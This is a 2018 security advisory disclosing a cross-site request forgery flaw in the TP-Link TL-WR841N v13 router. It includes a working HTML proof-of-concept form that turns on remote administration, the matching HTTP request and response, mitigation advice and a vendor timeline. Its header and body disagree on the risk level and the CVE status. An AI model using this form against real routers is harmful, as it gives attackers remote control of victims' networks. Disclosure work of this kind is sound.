TP-Link TL-WR841N V13 Cross Site Request Forgery

2018.06.29
Credit: Tim Coen
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-352

* Vulnerability: Cross-Site Request Forgery * Affected Software: TP-Link TL-WR841N v13 * Affected Version: 0.9.1 4.16 v0001.0 Build 180119 Rel.65243n * Patched Version: None * Risk: High * Vendor Contacted: 05/20/2018 * Vendor Fix: None * Public Disclosure: 06/27/2018 ##### Overview The web interface of the router is vulnerable to CSRF. An attacker can perform arbitrary actions in the name of an authenticated user if that user visits an attacker-controlled website. ##### CVSS High 8.8 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H ##### Details The protection mechanism that is in place against CSRF checks if the given "referer" header starts with "192.168.0.1". If it does, the request is accepted. An attacker can bypass this mechanism by prepending their domain with this string. For example, the malicious HTML and JavaScript code could be hosted at "192.168.0.1.example.com". Alternatively, an attack could originate from a different IP in the internal network, eg "192.168.0.11". ##### Proof of Concept Enable remote access: <html> <body> <form action="http://192.168.0.1/cgi?2&2" method="POST" enctype="text/plain"> <input type="hidden" name="&#91;HTTP&#95;CFG&#35;0&#44;0&#44;0&#44;0&#44;0&#44;0&#35;0&#44;0&#44;0&#44;0&#44;0&#44;0&#93;0&#44;2&#13;&#10;httpRemoteEnabled" value="1&#13;&#10;httpRemotePort&#61;7777&#13;&#10;&#91;APP&#95;CFG&#35;0&#44;0&#44;0&#44;0&#44;0&#44;0&#35;0&#44;0&#44;0&#44;0&#44;0&#44;0&#93;1&#44;1&#13;&#10;remoteHost&#61;255&#46;255&#46;255&#46;255&#13;&#10;" /> <input type="submit" value="Submit request" /> </form> </body> </html> The code would be hosted at a subdomain which starts with "192.168.0.1", eg "192.168.0.1.example.com". ##### Request POST /cgi?2&2 HTTP/1.1 Host: 192.168.0.1 User-Agent: [...] Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.0.1.example.com/csrf.html Content-Type: text/plain Content-Length: 147 Cookie: Authorization=Basic [...] DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 [HTTP_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,2 httpRemoteEnabled=1 httpRemotePort=7777 [APP_CFG#0,0,0,0,0,0#0,0,0,0,0,0]1,1 remoteHost=255.255.255.255 HTTP/1.1 200 OK Content-Type: text/plain; charset=utf-8 Connection: close Content-Length: 8 [error]0 ##### Solution The vendor did not fix the issue. Users of the product can try to mitigate the issue by not visiting other websites while being signed into the web interface and signing out as soon as possible. Additionally, various browser plugins can be used to try to defend against attacks. ##### Timeline - 05/20/2018 Requested email address via contact form (no response) - 05/24/2018 Send advisory to security@tp-link.com asking for confirmation, set disclosure date (no response) - 06/01/2018 Asked for confirmation at support.usa@tp-link.com - 06/04/2018 Vendor confirmed receipt of advisory - 06/12/2018 Requested Status Update - 06/14/2018 Vendor claims they never received advisory - 06/14/2018 Resend advisory asking for confirmation (no response) - 06/18/2018 Reminded vendor of disclosure date (no response) - 06/18/2018 Requested CVE - 06/19/2018 CVE assigned - 06/27/2018 Disclosure -- PGP Key: https://pgp.mit.edu/pks/lookup?op=get&search=0xFD8E2B9091A24C75


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